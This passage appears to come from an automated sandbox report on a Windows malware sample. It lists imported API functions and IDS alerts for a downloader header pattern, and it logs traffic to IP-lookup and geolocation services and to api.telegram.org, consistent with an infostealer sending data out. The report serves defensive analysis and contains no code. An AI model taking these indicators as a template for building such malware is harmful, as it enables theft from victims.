GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T13:37:08.701345+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49705	193.122.130.0	80	TCP
2024-12-16T13:37:11.373100+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49705	193.122.130.0	80	TCP
2024-12-16T13:37:12.992245+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49707	104.21.67.152	443	TCP
2024-12-16T13:37:14.279449+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49708	193.122.130.0	80	TCP
2024-12-16T13:37:15.900329+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49709	104.21.67.152	443	TCP
2024-12-16T13:37:27.957196+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49721	104.21.67.152	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 13:37:06.772269964 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:06.892482996 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:06.892573118 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:06.892929077 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:07.013078928 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:08.265475035 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:08.272860050 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:08.425751925 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:08.645967007 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:08.701344967 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:09.179127932 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:09.179169893 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:09.179229975 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:09.312755108 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:09.312777042 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:10.531255007 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:10.531384945 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:10.537236929 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:10.537256956 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:10.537558079 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:10.587120056 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:10.631331921 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:10.974216938 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:10.974280119 CET	443	49706	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:10.974348068 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:10.980340004 CET	49706	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:10.983530998 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:11.103348970 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:11.325221062 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:11.328367949 CET	49707	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:11.328411102 CET	443	49707	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:11.328496933 CET	49707	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:11.328866959 CET	49707	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:11.328876019 CET	443	49707	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:11.373100042 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:12.544233084 CET	443	49707	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:12.546489000 CET	49707	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:12.546499014 CET	443	49707	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:12.992263079 CET	443	49707	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:12.992327929 CET	443	49707	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:12.992394924 CET	49707	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:12.992813110 CET	49707	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:12.996093988 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:12.997432947 CET	49708	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:13.118316889 CET	80	49708	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:13.118434906 CET	49708	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:13.118542910 CET	49708	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:13.118592978 CET	80	49705	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:13.118668079 CET	49705	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:13.238481045 CET	80	49708	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:14.230257034 CET	80	49708	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:14.231736898 CET	49709	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:14.231786966 CET	443	49709	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:14.231858969 CET	49709	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:14.232156992 CET	49709	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:14.232170105 CET	443	49709	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:14.279448986 CET	49708	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:15.445518970 CET	443	49709	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:15.448102951 CET	49709	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:15.448126078 CET	443	49709	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:15.900348902 CET	443	49709	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:15.900413990 CET	443	49709	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:15.900494099 CET	49709	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:15.901135921 CET	49709	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:16.336560965 CET	49710	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:16.456681967 CET	80	49710	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:16.456777096 CET	49710	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:16.457046986 CET	49710	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:16.577110052 CET	80	49710	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:17.554649115 CET	80	49710	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:17.556231976 CET	49711	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:17.556271076 CET	443	49711	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:17.556374073 CET	49711	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:17.556663036 CET	49711	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:17.556678057 CET	443	49711	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:17.607485056 CET	49710	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:18.837696075 CET	443	49711	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:18.869643927 CET	49711	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:18.869679928 CET	443	49711	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:19.284445047 CET	443	49711	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:19.284507036 CET	443	49711	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:19.284554958 CET	49711	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:19.285470963 CET	49711	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:19.290592909 CET	49710	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:19.292072058 CET	49712	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:19.410686016 CET	80	49710	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:19.410769939 CET	49710	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:19.411854982 CET	80	49712	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:19.411962032 CET	49712	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:19.418664932 CET	49712	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:19.538768053 CET	80	49712	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:20.507086992 CET	80	49712	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:20.509010077 CET	49713	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:20.509054899 CET	443	49713	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:20.509129047 CET	49713	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:20.509516954 CET	49713	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:20.509531975 CET	443	49713	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:20.560688019 CET	49712	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:21.721535921 CET	443	49713	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:21.739442110 CET	49713	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:21.739476919 CET	443	49713	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:22.170304060 CET	443	49713	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:22.170372009 CET	443	49713	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:22.170445919 CET	49713	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:22.172338963 CET	49713	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:22.177422047 CET	49712	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:22.187901974 CET	49714	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:22.297648907 CET	80	49712	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:22.297712088 CET	49712	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:22.308480024 CET	80	49714	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:22.308557987 CET	49714	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:22.308821917 CET	49714	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:22.429163933 CET	80	49714	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:23.404773951 CET	80	49714	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:23.407084942 CET	49717	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:23.407126904 CET	443	49717	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:23.407365084 CET	49717	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:23.407677889 CET	49717	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:23.407691002 CET	443	49717	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:23.451252937 CET	49714	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:24.620472908 CET	443	49717	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:24.622884035 CET	49717	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:24.622917891 CET	443	49717	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:25.071387053 CET	443	49717	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:25.071454048 CET	443	49717	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:25.072262049 CET	49717	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:25.072262049 CET	49717	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:25.076711893 CET	49714	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:25.078221083 CET	49719	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:25.196897984 CET	80	49714	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:25.197995901 CET	80	49719	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:25.198168039 CET	49714	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:25.198427916 CET	49719	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:25.198427916 CET	49719	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:25.318306923 CET	80	49719	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:26.296544075 CET	80	49719	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:26.299184084 CET	49721	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:26.299237967 CET	443	49721	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:26.299319029 CET	49721	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:26.299597025 CET	49721	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:26.299611092 CET	443	49721	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:26.341907978 CET	49719	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:27.511307001 CET	443	49721	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:27.520122051 CET	49721	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:27.520148993 CET	443	49721	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:27.957217932 CET	443	49721	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:27.957295895 CET	443	49721	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:27.957508087 CET	49721	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:27.958175898 CET	49721	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:27.961738110 CET	49719	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:27.963016033 CET	49723	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:28.081945896 CET	80	49719	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:28.082048893 CET	49719	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:28.082979918 CET	80	49723	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:28.083059072 CET	49723	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:28.083249092 CET	49723	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:28.203670025 CET	80	49723	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:29.183563948 CET	80	49723	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:29.185334921 CET	49724	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:29.185434103 CET	443	49724	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:29.185570002 CET	49724	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:29.185868025 CET	49724	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:29.185899019 CET	443	49724	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:29.232533932 CET	49723	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:30.398967028 CET	443	49724	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:30.451297045 CET	49724	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:30.551383018 CET	49724	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:30.551398039 CET	443	49724	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:30.878866911 CET	443	49724	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:30.878942013 CET	443	49724	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:30.879076004 CET	49724	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:30.879659891 CET	49724	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:30.883002043 CET	49723	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:30.884324074 CET	49725	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:31.003094912 CET	80	49723	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:31.003249884 CET	49723	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:31.004095078 CET	80	49725	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:31.004180908 CET	49725	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:31.004462004 CET	49725	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:31.124814034 CET	80	49725	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:32.101073980 CET	80	49725	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:32.105231047 CET	49726	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:32.105278015 CET	443	49726	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:32.105375051 CET	49726	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:32.105662107 CET	49726	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:32.105675936 CET	443	49726	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:32.154403925 CET	49725	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:33.321366072 CET	443	49726	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:33.329333067 CET	49726	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:33.329380989 CET	443	49726	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:33.768723965 CET	443	49726	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:33.768898010 CET	443	49726	104.21.67.152	192.168.2.8
Dec 16, 2024 13:37:33.769143105 CET	49726	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:33.769454956 CET	49726	443	192.168.2.8	104.21.67.152
Dec 16, 2024 13:37:33.787465096 CET	49725	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:33.908034086 CET	80	49725	193.122.130.0	192.168.2.8
Dec 16, 2024 13:37:33.908801079 CET	49725	80	192.168.2.8	193.122.130.0
Dec 16, 2024 13:37:33.930661917 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:33.930726051 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:33.930836916 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:33.931432962 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:33.931457996 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:35.300967932 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:35.301131964 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:35.305711985 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:35.305722952 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:35.306216002 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:35.307867050 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:35.355329037 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:35.803402901 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:35.803489923 CET	443	49727	149.154.167.220	192.168.2.8
Dec 16, 2024 13:37:35.803596020 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:35.879654884 CET	49727	443	192.168.2.8	149.154.167.220
Dec 16, 2024 13:37:50.368917942 CET	49708	80	192.168.2.8	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 13:37:06.623429060 CET	61521	53	192.168.2.8	1.1.1.1
Dec 16, 2024 13:37:06.761351109 CET	53	61521	1.1.1.1	192.168.2.8
Dec 16, 2024 13:37:08.687918901 CET	53554	53	192.168.2.8	1.1.1.1
Dec 16, 2024 13:37:09.155798912 CET	53	53554	1.1.1.1	192.168.2.8
Dec 16, 2024 13:37:33.788218975 CET	51235	53	192.168.2.8	1.1.1.1
Dec 16, 2024 13:37:33.927192926 CET	53	51235	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 13:37:06.623429060 CET	192.168.2.8	1.1.1.1	0x507f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:08.687918901 CET	192.168.2.8	1.1.1.1	0xc50b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:33.788218975 CET	192.168.2.8	1.1.1.1	0xfbc8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 13:37:06.761351109 CET	1.1.1.1	192.168.2.8	0x507f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:37:06.761351109 CET	1.1.1.1	192.168.2.8	0x507f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:06.761351109 CET	1.1.1.1	192.168.2.8	0x507f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:06.761351109 CET	1.1.1.1	192.168.2.8	0x507f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:06.761351109 CET	1.1.1.1	192.168.2.8	0x507f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:06.761351109 CET	1.1.1.1	192.168.2.8	0x507f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:09.155798912 CET	1.1.1.1	192.168.2.8	0xc50b	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:37:09.155798912 CET	1.1.1.1	192.168.2.8	0xc50b	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
